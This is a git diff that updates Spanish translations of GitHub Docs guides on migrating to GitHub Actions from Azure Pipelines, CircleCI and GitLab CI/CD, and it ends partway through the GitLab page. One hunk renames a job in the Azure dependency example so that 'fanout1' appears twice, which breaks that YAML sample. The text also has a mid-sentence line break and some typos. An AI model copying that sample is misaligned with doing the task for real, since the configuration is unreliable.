diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
index 1821812d34..02322cee76 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Azure Pipelines to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Migrar de Azure Pipelines a GitHub Actions
+intro: '{% data variables.product.prodname_actions %} y Azure Pipelines comparten varias configuraciones similares, lo cual hace que migrar a {% data variables.product.prodname_actions %} sea relativamente sencillo.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
 versions:
@@ -14,47 +14,47 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Azure Pipelines
+shortTitle: Migrarse desde Azure Pipelines
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Tanto Azure Pipelines como {% data variables.product.prodname_actions %} te permiten crear flujos de trabajo que compilan, prueban, publican, lanzan y despliegan código automáticamente. Azure Pipelines y {% data variables.product.prodname_actions %} comparten algunas similaridades en la configuración del flujo de trabajo:
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- Los archivos de configuración de flujo de trabajo están escritas en YAML y se almacenan en el repositorio del código.
+- Los flujos de trabajo incluyen uno o más jobs.
+- Los jobs incluyen uno o más pasos o comandos individuales.
+- Los pasos o tareas pueden reutilizarse y compartirse con la comunidad.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obtener más información, consulta la sección "[Conceptos esenciales para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Diferencias clave
 
-When migrating from Azure Pipelines, consider the following differences:
+Cuando migres desde Azure Pipelines, considera las siguientes diferencias:
 
-- Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor.
-- Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted.
-- Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files.
-- On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels.
+- Azure Pipelines soporta un _editor clásico_ tradicional, lo cual te permite definir tu configuración de IC en un editor de GUI en vez de crear la definición de mapa en un archivo YAML. {% data variables.product.prodname_actions %} utiliza archivos YAML para definir flujos de trabajo y no es compatible con un editor gráfico.
+- Azure Pipelines te permite omitir parte de la estructura en las definiciones de jobs. Por ejemplo, si solo tienes un job, no necesitas definirlo y solo necesitas definir sus pasos. {% data variables.product.prodname_actions %} requiere una configuración específica y no se puede omitir la estructura de YAML.
+- Azure Pipelines es compatible con las _etapas_ que se definen en el archivo YAML, las cuales se pueden utilizar para crear flujos de trabajo de despliegue. {% data variables.product.prodname_actions %} necesita que separes las etapas en archivos de flujo de trabajo de YAML diferentes.
+- Azure Pipelines instalado localmente compila agentes que pueden seleccionarse con capacidades. Los ejecutores auto-hospedados de {% data variables.product.prodname_actions %} pueden seleccionarse con etiquetas.
 
-## Migrating jobs and steps
+## Migrar jobs y pasos
 
-Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Los jobs y los pasos en Azure Pipelines son muy similares a aquellos en {% data variables.product.prodname_actions %}. En ambos sistemas, los jobs tienen las siguientes características:
 
-* Jobs contain a series of steps that run sequentially.
-* Jobs run on separate virtual machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* Los jobs contienen una serie de pasos que se ejecutan en secuencia.
+* Los jobs se ejecutan en máquinas virtuales separadas o en contenedores separados.
+* Los jobs se ejecutan en paralelo predeterminadamente, pero pueden configurarse para ejecutarse en secuencia.
 
-## Migrating script steps
+## Migrar los pasos de un script
 
-You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
+Puedes ejecutar un script o comando de shell como un paso en un flujo de trabajo. En Azure Pipelines, los pasos de un script pueden especificarse utilizando la clave `script`, o con las claves `bash`, `powershell`, o `pwsh`. Los scripts también pueden especificarse como una entrada a la [tarea Bash](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) o la [tarea PowerShell](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
 
-In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+En {% data variables.product.prodname_actions %}, todos los scripts se especifican utilizando la clave `run`. Para seleccionar un shell en particular, puedes especificar la clave `shell` cuando proporciones el script. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -103,19 +103,19 @@ jobs:
 </tr>
 </table>
 
-## Differences in script error handling
+## Diferencias en el manejo de errores de los scripts
 
-In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration.
+En Azure Pipelines, los scripts se pueden configurar para generar un error si cualquier salida se envía a `stderr`. {% data variables.product.prodname_actions %} no es compatible con esta configuración.
 
-{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} configura shells para que "fallen rápidamente" cuando sea posible, lo cual detiene el script inmediatamente si alguno de los comandos en éste sale con un código de error. En contraste, Azure Pipelines requiere de una configuración explícita para salir inmediatamente en caso de error. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)".
 
-## Differences in the default shell on Windows
+## Diferencias con el shell predeterminado de Windows
 
-In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control.
+En Azure Pipelines, el shell predeterminado para los scripts en plataformas Windows es el Símbolo de Sistema (_cmd.exe_). En {% data variables.product.prodname_actions %}, el shell predeterminado para los scripts en plataformas Windows es PowerShell. PowerShell tiene varias diferencias en comandos integrados, expansión de variables y control de flujo.
 
-If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`.
+Si estás utilizando un comando simple, es posible que puedas ejecutar un script de Símbolo de Sistema en PowerShell sin tener que realizar cambios. Pero en la mayoría de los casos, tendrás que actualizar tu script con la sintaxis de PowerShell o dar la instrucción a {% data variables.product.prodname_actions %} para ejecutar el script con el Símbolo de Sistema en vez de con PowerShell. Puedes hacer esto especificando `shell` como `cmd`.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -155,15 +155,15 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)".
 
-## Migrating conditionals and expression syntax
+## Migrar la sintaxis de expresión y los condicionales
 
-Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key.
+Tanto Azure Pipelines como {% data variables.product.prodname_actions %} pueden ejecutar pasos condicionalmente. En Azure Pipelines, las expresiones condicionales se especifican utilizando la clave `condition`. En {% data variables.product.prodname_actions %}, las expresiones condicionales se especifican utilizando la clave `if`.
 
-Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}.
+Azure Pipelines utiliza funciones dentro de las expresiones para ejecutar los pasos condicionalmente. En contraste, {% data variables.product.prodname_actions %} utiliza una notación infija. Por ejemplo, puedes reemplazar la función `eq` en Azure Pipelines con el operador `==` en {% data variables.product.prodname_actions %}.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -203,13 +203,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)".
 
-## Dependencies between jobs
+## Dependencias entre jobs
 
-Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key.
+Tanto Azure Pipelines como {% data variables.product.prodname_actions %} te permiten configurar dependencias par un job. En ambos sistemas, los jobs se ejecutan en paralelo predeterminadamente, pero las dependencias de estos pueden especificarse explícitamente. En Azure Pipelines, esto se hace con la clave `dependsOn`. En {% data variables.product.prodname_actions %}, esto se hace con la clave `needs`.
 
-Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run.
+Puedes encontrar un ejemplo de la sintaxis para cada sistema. El flujo de trabajo comienza un primer job llamado `initial`, y cuando este job se completa, se ejecutarán dos jobs llamados `fanout1` y `fanout2`. Finalmente, cuando se completen estos dos jobs, se ejecutará el job `fanin`.
 
 <table class="d-block">
 <tr>
@@ -264,11 +264,11 @@ jobs:
     needs: initial
     steps:
       - run: echo "This job will run after the initial job, in parallel with fanout2."
-  fanout2:
+  fanout1:
     runs-on: ubuntu-latest
     needs: initial
     steps:
-      - run: echo "This job will run after the initial job, in parallel with fanout1."
+      - run: echo "This job will run after the initial job, in parallel with fanout2."
   fanin:
     runs-on: ubuntu-latest
     needs: [fanout1, fanout2]
@@ -280,13 +280,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Migrating tasks to actions
+## Migrar las tareas a acciones
 
-Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs.
+Azure Pipelines utiliza _tareas_, que son componentes de las aplicaciones que pueden reutilizarse en varios flujos de trabajo. {% data variables.product.prodname_actions %} utiliza_acciones_, que se pueden utilizar para realizar tareas y personalizar tu flujo de trabajo. En ambos sistemas, puedes especificar el nombre de la tarea o acción a ejecutar junto con cualquier entrada requerida como pares de clave/valor.
 
-Below is an example of the syntax for each system:
+Puedes encontrar un ejemplo de la sintaxis para cada sistema:
 
 <table>
 <tr>
@@ -332,4 +332,4 @@ jobs:
 </tr>
 </table>
 
-You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Creating actions](/actions/creating-actions)."
+Puedes encontrar acciones que puedas utilizar en tu flujo de trabajo en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), o puedes crear tus propias acciones. Para obtener más información, consulta la sección "[Crear acciones](/actions/creating-actions)".
diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
index aa34d59cd5..1f9236a8af 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from CircleCI to GitHub Actions
-intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.'
+title: Migrar de CircleCI a GitHub Actions
+intro: 'GitHub Actions y CircleCi comparten varias configuraciones similares, lo cual hace que migrar a GitHub Actions sea relativamente fácil.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
 versions:
@@ -14,74 +14,75 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from CircleCI
+shortTitle: Migrarse desde Circle Cl
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Tanto CircleCi como {% data variables.product.prodname_actions %} te permiten crear flujos de trabajo que compilan, prueban, publican, lanzan y despliegan código automáticamente. CircleCI y {% data variables.product.prodname_actions %} comparten algunas similaridades en la configuración del flujo de trabajo:
 
-- Workflow configuration files are written in YAML and stored in the repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- Los archivos de configuración de flujo de trabajo están escritos en YAML y se almacenan en el repositorio.
+- Los flujos de trabajo incluyen uno o más jobs.
+- Los jobs incluyen uno o más pasos o comandos individuales.
+- Los pasos o tareas pueden reutilizarse y compartirse con la comunidad.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obtener más información, consulta la sección "[Conceptos esenciales para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Diferencias clave
 
-When migrating from CircleCI, consider the following differences:
+Cuando migres desde CircleCI, considera las siguientes diferencias:
 
-- CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}.
-- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
-{% else %}For more information about the Docker filesystem on {% data variables.product.product_name %}-hosted runners, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+- El paralelismo automático de pruebas de CircleCI agrupa las pruebas automáticamente de acuerdo con las reglas que el usuario haya especificado o el historial de información de tiempos. Esta funcionalidad no se incluye en {% data variables.product.prodname_actions %}.
+- Las acciones que se ejecutan en los contenedores de Docker distinguen entre problemas de permisos, ya que los contenedores tienen un mapeo de usuarios diferente. Puedes evitar muchos de estos problemas si no utilizas la instrucción `USER` en tu *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
+{% else %}Para obtener más información acerca del sistema de archivos de Docker en los ejecutores hospedados en {% data variables.product.product_name %}, consulta la sección "[Ambientes virtuales para los ejecutores hospedados en {% data variables.product.product_name %}](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)".
 {% endif %}
 
-## Migrating workflows and jobs
+## Migrar flujos de trabajo y jobs
 
-CircleCI defines `workflows` in the *config.yml* file, which allows you to configure more than one workflow. {% data variables.product.product_name %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in *config.yml*.
+CircleCi define los `workflows` en el archivo *config.yml*, lo cual te permite configurar más de un flujo de trabajo. {% data variables.product.product_name %} requiere tratar los flujos de trabajo uno por uno y, como consecuencia, no necesita que declares los `workflows`. Necesitarás crear un nuevo archivo de flujo de trabajo para cada flujo que se haya configurado en *config.yml*.
 
-Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Tanto CircleCI como {% data variables.product.prodname_actions %} configuran `jobs` en el archivo de configuración utilizando una sintaxis similar. Si configurars cualquier dependencia entre jobs utilizando `requires` en tu flujo de trabajo de CircleCI, puedes utilizar la sintaxis de {% data variables.product.prodname_actions %} equivalente "`needs`". Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Migrating orbs to actions
+## Mirgrar orbes a acciones
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.product_name %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see "[Creating actions](/actions/creating-actions)."
+Tanto CircleCI como {% data variables.product.prodname_actions %} proporcionan un mecanismo para reutilizar y compartir tareas en un flujo de trabajo. CircleCi utiliza un concepto llamado orbes (orbs), escrito en YAML, que proporciona tareas que las personas pueden reutilizar en un flujo de trabajo. {% data variables.product.prodname_actions %} cuenta con componentes reutilizables poderosos y flexibles llamados acciones (actions), los cuales compilas ya sea con archivos de JavaScript o con imagenes de Docker. Puedes crear acciones si escribes tu código personalizado para que interactúe con tu repositorio en la forma que prefieras, lo cual incluye la integración con las API de {% data variables.product.product_name %} y con cualquier API de terceros disponible públicamente. Por ejemplo, una acción puede publicar módulos npm, enviar alertas por SMS cuando se crean propuestas urgentes o implementar un código listo para producción. Para obtener más información, consulta la sección "[Crear acciones](/actions/creating-actions)".
 
-CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using build matrixes. For more information about build matrixes, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)."
+Circle CI puede reutilizar partes de los flujos de trabajo con anclas y alias. {% data variables.product.prodname_actions %} es compatible con las necesidades de reutilización más comunes utilizando matrices de compilación. Para obtener más información acerca de las matrices de compilación, consulta la sección "[Administrar flujos de trabajo complejos](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)".
 
-## Using Docker images
+## Utilizar imágenes de Docker
 
 
-Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image.
+Tanto CircleCi como {% data variables.product.prodname_actions %} son compatibles con la ejecución de pasos dentro de una imagen de Docker.
 
-CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}.
+CircleCi proporciona un conjunto de imágenes pre-compiladas con dependencias comunes. Estas imágenes cuentan con el `USER` configurado como `circleci`, lo cual ocasiona que los permisos choquen con {% data variables.product.prodname_actions %}.
 
-We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need.
+Recomendamos que te retires de las imágenes pre-compiladas de CircleCi cuando migres a {% data variables.product.prodname_actions %}. En muchos casos, puedes utilizar acciones para instalar dependencias adicionales que necesites.
 
 {% ifversion ghae %}
-For more information about the Docker filesystem, see "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+Para obtener información sobre el sistema de archivos de Docker, consulta la sección "[Sistema de archivos del contenedor de Docker](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)".
 
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-For more information about the Docker filesystem, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+Para obtener más información acerca del sistema de archivos de Docker, consulta la sección "[Ambientes virtuales para los ejecutores hospedados en {% data variables.product.product_name %}](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)".
+Para obtener más información sobre las herramientas y paquetes disponibles en
 
-For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted virtual environments, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+los ambientes hospedados en {% data variables.product.prodname_dotcom %}, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Using variables and secrets
+## Utilizar variables y secretos
 
-CircleCI and {% data variables.product.prodname_actions %} support setting environment variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.product_name %} UI.
+CircleCi y {% data variables.product.prodname_actions %} son compatibles con la configuración de variables de ambiente en el archivo de configuración y con la creación de secretos utilizando la IU de CircleCI o de {% data variables.product.product_name %}.
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and "[Creating and using encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+Para obtener más información, consulta la sección "[Utilizar variables de ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" y "[Crear y utilizar secretos cifrados](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)".
 
-## Caching
+## Almacenamiento en caché
 
-CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file.
+CircleCI y {% data variables.product.prodname_actions %} proporcionan un método para almacenar archivos en cahcé manualmente en el archivo de configuración.
 
-Below is an example of the syntax for each system.
+Puedes encontrar un ejemplo de la sintaxis para cada sistema.
 
 <table class="d-block">
 <tr>
@@ -118,15 +119,15 @@ GitHub Actions
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+El almacenamiento en caché de las {% data variables.product.prodname_actions %} solo se aplica a los repositorios que se hospedan en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
-{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC).
+{% data variables.product.prodname_actions %} no tiene un equivalente al Almacenamiento en Caché por Capas de Docker (o DLC, por sus siglas en inglés) que tiene CircleCI.
 
-## Persisting data between jobs
+## Datos persistentes entre jobs
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs.
+Tanto CircleCi como {% data variables.product.prodname_actions %} proporcionan mecanismos para persistir datos entre jobs.
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+A continuación puedes encontrar un ejemplo de la sintaxis de configuración de CircleCi y de {% data variables.product.prodname_actions %}.
 
 <table>
 <tr>
@@ -174,15 +175,15 @@ GitHub Actions
 </tr>
 </table>
 
-For more information, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
 
-## Using databases and service containers
+## Usar bases de datos y contenedores de servicio
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+Ambos sistemas te permiten incluir contenedores adicionales para bases de datos, almacenamiento en caché, u otras dependencias.
 
-In CircleCI, the first image listed in the *config.yaml* is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`.
+En CircleCi, la primera imagen listada en el *config.yaml* es la imagen primaria que se utiliza para ejecutar comandos. {% data variables.product.prodname_actions %} utiliza secciones explícitas: utiliza `container` para el contenedor primario, y lista contenedores adicionales en `services`.
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+A continuación puedes encontrar un ejemplo de la sintaxis de configuración de CircleCi y de {% data variables.product.prodname_actions %}.
 
 <table class="d-block">
 <tr>
@@ -298,11 +299,11 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/configuring-and-managing-workflows/about-service-containers)."
+Para obtener más información, consulta la sección "[Acerca de los contenedores de servicio](/actions/configuring-and-managing-workflows/about-service-containers)".
 
-## Complete Example
+## Ejemplo Completo
 
-Below is a real-world example. The left shows the actual CircleCI *config.yml* for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent.
+A continuación encontrarás un ejemplo real. A la izquierda puedes ver el *config.yml* real de CircleCi para el repositorio [thoughtbot/administrator](https://github.com/thoughtbot/administrate). La derecha muestra el equivalente en {% data variables.product.prodname_actions %}.
 
 <table class="d-block">
 <tr>
diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
index 1d15ec53f9..0ef3afdb42 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from GitLab CI/CD to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Migrarse desde la IC/EC de GitLab a GitHub Actions
+intro: '{% data variables.product.prodname_actions %} y la IC/EC de GitLab comparten varias similitudes de configuración, lo cual hace que el migrarse a {% data variables.product.prodname_actions %} sea relativamente simple.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
 versions:
@@ -14,39 +14,39 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from GitLab CI/CD
+shortTitle: Migrarse desde GitLab IC/DC
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Tanto la IC/EC de GitLab como las {% data variables.product.prodname_actions %} te permiten crear flujos de trabajo que crean, prueban, publican, lanzan y despliegan código automáticamente. La IC/EC de GitLab y las {% data variables.product.prodname_actions %} comparten algunas similitudes en la configuración de los flujos de trabajo:
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Jobs can run on either managed or self-hosted machines.
+- Los archivos de configuración de flujo de trabajo están escritas en YAML y se almacenan en el repositorio del código.
+- Los flujos de trabajo incluyen uno o más jobs.
+- Los jobs incluyen uno o más pasos o comandos individuales.
+- Los jobs pueden ejecutarse ya sea en máquinas administradas o auto-hospedadas.
 
-There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}.
+Hay unas cuantas diferencias, y esta guía te mostrará las diferencias importantes para que puedas migrar tu flujo de trabajo a {% data variables.product.prodname_actions %}.
 
 ## Jobs
 
-Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Los jobs en la IC/EC de GitLab son muy similares a aquellos en {% data variables.product.prodname_actions %}. En ambos sistemas, los jobs tienen las siguientes características:
 
